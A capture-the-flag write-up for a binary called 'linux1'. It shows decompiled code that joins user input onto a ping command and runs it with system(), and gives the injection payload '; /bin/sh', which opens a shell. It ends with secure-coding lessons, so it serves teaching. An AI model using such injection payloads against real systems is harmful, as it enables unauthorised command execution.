Linux1 CTF Writeup

Challenge Overview

The goal was simple: either spawn a shell or read the flag from the `linux1` binary.

Analysis

1. **Binary Check:** `linux1` turned out to be an ELF 64-bit executable.
2. **Tooling:** Used Ghidra to decompile and analyze the binary.
3. **Vulnerability:** Found a classic `command injection` in the `gate()` function due to the use of `strcat` and `system` without proper input validation.

Key Code Analysis

```
puts("Guard: Go away or I shall ring the alarm!");
fgets(local_78,0x20,stdin);
strcat((char *)&local_58, local_78);
system((char *)&local_58);
puts("Guard: Where is everybody?");
```

- `fgets` reads up to 32 characters into `local_78`.
- `strcat` appends the input to `local_58`, which initially contained `"ping -c 3 "`.
- `system` executes the entire string as a shell command.

Exploitation and Payload Strategy

1. The original string in `local_58` is:

```
ping -c 3
```

2. By entering a clever command, we could close the `ping` command and run our own stuff.

Payload Used

```
; /bin/sh
```

- The `;` stops the `ping` command.
- `/bin/sh` spawns a new shell.

Steps Taken

1. **Run the binary:**

```
./linux1
```

2. **Enter the payload:**

```
; /bin/sh
```

3. **Result:** Shell opened, confirmed by the `$` prompt.

Result and Solution

- The guard was bypassed, and a shell was spawned successfully.
- Confirmed shell access via the `$` prompt.

Conclusion and Lessons

- Never pipe user input directly into `system`.
- `strcat` is risky if not used carefully.
- Ghidra is excellent for spotting vulnerabilities related to `system` and `strcat` in C code.

References

- alt text
- alt text